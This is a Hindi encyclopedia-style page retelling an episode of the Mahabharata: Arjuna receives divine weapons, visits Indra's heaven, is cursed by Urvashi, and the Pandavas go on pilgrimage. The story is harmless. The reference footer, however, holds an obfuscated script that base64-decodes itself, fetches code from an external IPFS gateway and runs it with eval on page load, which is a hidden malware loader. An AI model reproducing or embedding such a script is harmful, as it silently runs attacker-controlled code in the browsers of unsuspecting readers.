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अर्जुन की इंद्रलोक यात्रा

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उर्वशी अर्जुन को श्राप देते हुए

युधिष्ठिर के जुए में हार जाने की शर्त के अनुसार वे अपने भाइयों व पत्नी के साथ बारह वर्ष के वनवास तथा एक वर्ष के अज्ञातवास को वन में चलें गये तथा अपना जीवन बिताने लगे। वन में ही व्यासजी पांडवों से मिले तथा सलाह दी कि वन में रहकर दिव्यास्त्रों की शिक्षा प्राप्त करों उन्होंने अर्जुन को सलाह दी कि कैलाश पर्वत पर जाकर भगवान पशुपति से दिव्यास्त्र तथा इंद्र से अमोघ अस्त्र भी प्राप्त करें। व्यास की सलाह से अर्जुन कैलाश जा पहुँचे, और भगवान शंकर कि अराधना करने लगे। पाँच महिने के बाद भगवान शंकर ने उनकी तपस्या से प्रसन्न होकर उन्हें पाशुपत अस्त्र प्रदान किया।और कहा मनुष्यों पर इसका प्रयोग वर्जित है।

इंन्द्र का अर्जुन को बुलावा

भगवन शंकर से पाशुपत अस्त्र पाकर अर्जुन आगे बढ़े तभी रास्ते में अर्जुन को इंद्र के सारथि मातलि रथ लेकर प्रतीक्षा करते दिखाई दिए। मातलि ने अर्जुन को बताया कि इंद्र ने तुम्हें बुलाया है। कृपया चलें, वहाँ पहुँचते ही सभी देवताओं ने अर्जुन का स्वागत किया तथा अपने दिव्य अस्त्रों की शिक्षा दी।

असुरों का संहार

इंन्द्र ने अर्जुन से असुरों का संहार करने को कहा, अर्जुन ने असुरों का संहार किया। असुरों का संहार करने के बाद अर्जुन इंन्द्रलोक रहकर इंन्द्र से शस्त्र तथा नृत्य संगीत की शिक्षा प्राप्त करने लगे।

उर्वशी का शाप

एक रात अर्जुन अपने भाइयों और द्रौपदी के बारे में सोच रहे थे कि स्वर्ग की अप्सरा उर्वशी उनके पास आकर बैठ गई। अर्जुन ने उर्वशी को माता कहकर संबोधित किया क्योंकि वे उनके गुरु इंद्र की अप्सरा हैं। मैं यहाँ शस्त्र तथा नृत्य संगीत की शिक्षा के लिए आया हूँ। विद्यार्थी का धर्म भोग नहीं है। उर्वशी ने अपने प्रयोजन में असफल रहने के कारण, अर्जुन को एक वर्ष तक निर्वीर्य रहने का शाप दिया, पर कहा कि यह शाप तुम्हारे लिए वरदान सिद्ध होगा। एव वर्ष के अज्ञातवास में तुम नपुंसक के रूप में अपने को छिपा सकोगे।

पांडवो के तीर्थ दर्शन

अनेक वर्षो तक अर्जुन का समाचार न मिलने पर पांडव चिंतित रहने लगे। तभी नारद ने आकर उन्हें बताया कि वे शीघ्र ही महर्षि लोमश के साथ आकर मुझसे मिलेंगे। तब तक आप देश-भ्रमण तथा तीर्थ-दर्शन कर लीजिए। कुछ दिनों बाद लोमश ऋषि ने आकर अर्जुन का समाचार सुनाया। लोमश ऋषि के साथ पांडव तीर्थों के दर्शन करने चल दिए। उन्होंने प्रयाग, वेदतीर्थ, गया, गंगासागर तथा प्रभास तीर्थ के दर्शन किए। प्रभास तीर्थ से वे सिंधु तीर्थ होकर कश्मीर पहुँचे, यहाँ से वे हिमालय के सुबाहु राज्य में पहुँचे। यहाँ से वे बदरिका आश्रम भी गए।


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टीका टिप्पणी और संदर्भ

महाभारत शब्दकोश |लेखक: एस. पी. परमहंस |प्रकाशक: दिल्ली पुस्तक सदन, दिल्ली |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 142 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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